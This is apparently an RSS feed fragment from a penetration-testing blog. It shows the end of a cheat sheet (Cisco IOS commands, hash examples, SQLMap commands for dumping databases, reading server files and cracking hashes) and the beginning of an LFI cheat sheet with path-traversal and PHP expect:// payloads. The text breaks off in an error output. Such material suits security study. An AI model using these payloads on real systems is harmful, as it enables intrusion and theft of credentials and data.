        &lt;p&gt;&lt;code&gt;enable&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Enters enable mode&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;conf t&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Short for, configure terminal&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config)# interface fa0/0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Configure FastEthernet 0/0&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config-if)# ip addr 0.0.0.0 255.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Add ip to fa0/0&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config-if)# ip addr 0.0.0.0 255.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Add ip to fa0/0&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config-if)# line vty 0 4&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Configure vty line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config-line)# login&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Cisco set telnet password&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;(config-line)# password YOUR-PASSWORD&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Set telnet password&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show running-config&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show running config loaded in memory&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show startup-config&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show sartup config&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show version&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;show cisco IOS version&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show session&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;display open sessions&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show ip interface&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show network interfaces&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show interface e0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show detailed interface info&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show ip route&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show routes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# show access-lists&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show access lists&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# dir file systems&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Show available files&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# dir all-filesystems&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;File information&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# dir /all&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;SHow deleted files&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# terminal length 0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;No limit on terminal output&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# copy running-config tftp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copys running config to tftp server&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;# copy running-config startup-config&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy startup-config to running-config&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;cryptography&quot;&gt;Cryptography&lt;/h2&gt;

&lt;h3 id=&quot;hash-lengths&quot;&gt;Hash Lengths&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Hash&lt;/th&gt;
      &lt;th&gt;Size&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;MD5 Hash Length&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;16 Bytes&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-1 Hash Length&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;20 Bytes&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-256 Hash Length&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;32 Bytes&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-512 Hash Length&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;64 Bytes&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;hash-examples&quot;&gt;Hash Examples&lt;/h3&gt;

&lt;p&gt;Likely just use &lt;strong&gt;hash-identifier&lt;/strong&gt; for this but here are some example hashes:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Hash&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;MD5 Hash Example&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;8743b52063cd84097a65d1633f5c74f5&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;MD5 $PASS:$SALT Example&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;01dfae6e5d4d90d9892622325959afbe:7050461&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;MD5 $SALT:$PASS&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;f0fda58630310a6dd91a7d8f0a4ceda2:4225637426&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA1 Hash Example&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;b89eaac7e61417341b710b727768294d0e6a277b&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA1 $PASS:$SALT&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;2fc5a684737ce1bf7b3b239df432416e0dd07357:2014&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA1 $SALT:$PASS&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-256&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;127e6fbfe24a750e72930c220a8e138275656b&lt;br /&gt;8e5d8f48a98c3c92df2caba935&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-256 $PASS:$SALT&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;c73d08de890479518ed60cf670d17faa26a4a7&lt;br /&gt;1f995c1dcc978165399401a6c4&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-256 $SALT:$PASS&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;eb368a2dfd38b405f014118c7d9747fcc97f4&lt;br /&gt;f0ee75c05963cd9da6ee65ef498:560407001617&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-512&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;82a9dda829eb7f8ffe9fbe49e45d47d2dad9&lt;br /&gt;664fbb7adf72492e3c81ebd3e29134d9bc&lt;br /&gt;12212bf83c6840f10e8246b9db54a4&lt;br /&gt;859b7ccd0123d86e5872c1e5082f&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-512 $PASS:$SALT&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;e5c3ede3e49fb86592fb03f471c35ba13e8&lt;br /&gt;d89b8ab65142c9a8fdafb635fa2223c24e5&lt;br /&gt;558fd9313e8995019dcbec1fb58414&lt;br /&gt;6b7bb12685c7765fc8c0d51379fd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;SHA-512 $SALT:$PASS&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;976b451818634a1e2acba682da3fd6ef&lt;br /&gt;a72adf8a7a08d7939550c244b237c72c7d4236754&lt;br /&gt;4e826c0c83fe5c02f97c0373b6b1&lt;br /&gt;386cc794bf0d21d2df01bb9c08a&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;NTLM Hash Example&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;b4b9b02e6f09a9bd760f388b67351e2b&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;sqlmap-examples&quot;&gt;SQLMap Examples&lt;/h2&gt;

&lt;p&gt;A mini SQLMap cheat sheet, see our full &lt;a href=&quot;/blog/sqlmap-cheat-sheet/&quot;&gt;SQLMap cheat sheet&lt;/a&gt; for more commaands:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;sqlmap -u http://meh.com --forms --batch --crawl=10 &lt;br /&gt; --cookie=jsessionid=54321 --level=5 --risk=3&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Automated sqlmap scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt; sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE &lt;br /&gt; --level=3 --current-user --current-db --passwords &lt;br /&gt; --file-read=&quot;/var/www/blah.php&quot; &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Targeted sqlmap scan&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;sqlmap -u &quot;http://meh.com/meh.php?id=1&quot; &lt;br /&gt;--dbms=mysql --tech=U --random-agent --dump &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Scan url for union + error based injection with mysql backend &lt;br /&gt;and use a random user agent + database dump&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;sqlmap -o -u &quot;http://meh.com/form/&quot; --forms&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;sqlmap check form for injection&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;sqlmap -o -u &quot;http://meh/vuln-form&quot; --forms &lt;br /&gt; -D database-name -T users --dump&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;sqlmap dump and crack hashes for table users on database-name.&lt;/p&gt;
      &lt;/td&gt;
     &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 01/06/2024 (01th of June 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Reviewed content is current for various tools.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Previous document changes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;16/03/2024 - fixed some formatting issues.&lt;/li&gt;
  &lt;li&gt;17/04/2024 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>LFI Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/lfi-cheat-sheet/</link>
          <pubDate>Sun, 26 May 2024 11:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>LFI</category>
          
          <category>Web</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lfi-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-an-lfi-vulnerability&quot; id=&quot;markdown-toc-what-is-an-lfi-vulnerability&quot;&gt;What is an LFI Vulnerability?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-get-a-shell-from-lfi&quot; id=&quot;markdown-toc-how-to-get-a-shell-from-lfi&quot;&gt;How to get a Shell from LFI&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#path-traversal-aka-directory-traversal&quot; id=&quot;markdown-toc-path-traversal-aka-directory-traversal&quot;&gt;Path Traversal aka Directory Traversal&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#php-wrapper-expect-lfi&quot; id=&quot;markdown-toc-php-wrapper-expect-lfi&quot;&gt;PHP Wrapper expect:// LFI&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#php-wrapper-phpfile&quot; id=&quot;markdown-toc-php-wrapper-phpfile&quot;&gt;PHP Wrapper php://file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#php-wrapper-phpfilter&quot; id=&quot;markdown-toc-php-wrapper-phpfilter&quot;&gt;PHP Wrapper php://filter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#procselfenviron-lfi-method&quot; id=&quot;markdown-toc-procselfenviron-lfi-method&quot;&gt;/proc/self/environ LFI Method&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#procselffd-lfi-method&quot; id=&quot;markdown-toc-procselffd-lfi-method&quot;&gt;/proc/self/fd/ LFI Method&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#fimap-lfi-pen-testing-tool&quot; id=&quot;markdown-toc-fimap-lfi-pen-testing-tool&quot;&gt;fimap LFI Pen Testing Tool&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#fimap--phpinfo-exploit&quot; id=&quot;markdown-toc-fimap--phpinfo-exploit&quot;&gt;fimap + phpinfo() Exploit&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-an-lfi-vulnerability&quot;&gt;What is an LFI Vulnerability?&lt;/h2&gt;

&lt;p&gt;LFI stands for &lt;strong&gt;Local File Includes&lt;/strong&gt; - it’s a file local inclusion vulnerability that allows an attacker to include files that exist on the target web server. Typically this is exploited by abusing dynamic file inclusion mechanisms that don’t sanitize user input.&lt;/p&gt;

&lt;!--more--&gt;
&lt;p&gt;Scripts that take filenames as parameters without sanitizing the user input are good candidates for LFI vulnerabilities, a good example would be the following PHP script &lt;code&gt;foo.php?file=image.jpg&lt;/code&gt; which takes &lt;code&gt;image.jpg&lt;/code&gt; as a parameter.  An attacker would simply replace &lt;code&gt;image.jpg&lt;/code&gt; and insert a payload. Normally a directory traversal payload is used that escapes the script directory and traverses the filesystem directory structure, exposing sensitive files such as &lt;code&gt;foo.php?file=../../../../../../../etc/passwd&lt;/code&gt; or sensitive files within the web application itself. Exposing sensitive information or configuration files containing SQL usernames and passwords.&lt;/p&gt;

&lt;p&gt;Note: In some cases, depending on the nature of the LFI vulnerability it’s possible to run system executables.&lt;/p&gt;

&lt;h2 id=&quot;how-to-get-a-shell-from-lfi&quot;&gt;How to get a Shell from LFI&lt;/h2&gt;

&lt;p&gt;Below are some techniques I’ve used in the past to gain a shell on systems with vulnerable LFI scripts exposed.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;path-traversal-aka-directory-traversal&quot;&gt;Path Traversal aka Directory Traversal&lt;/h3&gt;

&lt;p&gt;As mentioned above Traverse the filesystem directory structure to disclose sensitive information about the system that can help you gain a shell, usernames / passwords etc.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;php-wrapper-expect-lfi&quot;&gt;PHP Wrapper expect:// LFI&lt;/h3&gt;

&lt;p&gt;Allows execution of system commands via the php expect wrapper, unfortunately this is not enabled by default.&lt;/p&gt;

&lt;p&gt;An example of PHP expect:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;http://127.0.0.1/fileincl/example1.php?page&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;expect://ls&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Below is the error received if the PHP expect wrapper is disabled:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;nc&quot;&gt;Warning&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Unable&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wrapper&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;expect&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;did&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;forget&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;br&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;configured&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PHP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;www&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileincl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;example1&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;php&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Warning&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Unable&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;br&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wrapper&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;expect&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;did&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;forget&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enable&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;it&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;when&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;configured&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PHP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;br&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;www&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileincl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;example1&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;php&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Warning&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;expect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;://&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;failed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;No&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;such&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;directory&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;www&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileincl&lt;/span&gt;&lt;span 